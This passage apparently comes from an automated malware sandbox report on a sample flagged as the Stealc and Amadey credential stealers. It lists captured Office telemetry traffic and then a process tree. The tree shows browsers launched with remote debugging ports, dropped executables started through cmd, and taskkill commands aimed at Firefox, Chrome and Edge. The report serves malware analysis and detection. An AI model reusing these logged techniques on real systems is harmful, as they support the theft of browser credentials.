2024-11-17 21:20:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: b8bdc226-001e-00ad-799a-38554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212047Z-1866b5c5fbbdcxfghC1DFW126c00000001n0000000008c2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	60854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212047Z-1866b5c5fbbbf2bdhC1DFWu6f400000001u000000000f75s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	60856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212047Z-16547b76f7fxqj4khC1DFWpypw000000026000000000dh9u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	60857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:47 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212047Z-16547b76f7fxqj4khC1DFWpypw000000027g0000000091n3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	16:20:12
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcf0000
File size:	1'808'384 bytes
MD5 hash:	3C1FC0E5501A732F21671110D1593FED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1824673224.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1827260082.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1302298409.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:20:25
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:20:25
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2060,i,2647942614130931966,15784905078428545110,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:36:28
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:36:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2264,i,2609395164648408671,7416745225154322423,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:36:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:36:30
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:36:35
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6912 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:36:35
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:36:57
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDHIEGCFH.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:36:57
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:36:57
Start date:	17/11/2024
Path:	C:\Users\user\DocumentsCGDHIEGCFH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCGDHIEGCFH.exe"
Imagebase:	0xa30000
File size:	1'901'568 bytes
MD5 hash:	0666D4775F770D43FA3CF484008B6D93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.1871064932.0000000000A31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.1829679146.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:37:01
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf20000
File size:	1'901'568 bytes
MD5 hash:	0666D4775F770D43FA3CF484008B6D93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2575747151.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1885552644.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	17:37:01
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf20000
File size:	1'901'568 bytes
MD5 hash:	0666D4775F770D43FA3CF484008B6D93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1887597470.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1929561851.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:37:19
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006992001\5454ad7c1c.exe"
Imagebase:	0x830000
File size:	4'373'504 bytes
MD5 hash:	74FD7B0C948CE67EEF9C33EB6BCF2F13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	17:37:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	17:37:42
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"
Imagebase:	0x120000
File size:	1'835'008 bytes
MD5 hash:	EA82A77AEE044C4ED6569062542CF1BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2424390722.0000000000C24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	17:37:51
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	17:37:51
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe"
Imagebase:	0x230000
File size:	1'808'384 bytes
MD5 hash:	3C1FC0E5501A732F21671110D1593FED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2375597398.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2419824404.0000000000231000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:37:55
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"
Imagebase:	0x7ff7b4ee0000
File size:	1'835'008 bytes
MD5 hash:	EA82A77AEE044C4ED6569062542CF1BC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2546282312.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2475897323.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2494949690.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	17:37:59
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe"
Imagebase:	0xee0000
File size:	922'112 bytes
MD5 hash:	6A0A0A32221DA964DE818524D7423BBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000001F.00000002.2583966248.0000000001118000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	17:37:59
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x710000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:37:59
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:38:01
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf20000
File size:	1'901'568 bytes
MD5 hash:	0666D4775F770D43FA3CF484008B6D93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.2531360728.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000003.2478483559.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:38:04
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe"
Imagebase:	0x230000
File size:	1'808'384 bytes
MD5 hash:	3C1FC0E5501A732F21671110D1593FED
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.2513319007.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	17:38:04
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x710000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:38:04
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:38:06
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x710000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:38:06
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	17:38:07
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1006996001\4ff2bfa33f.exe"
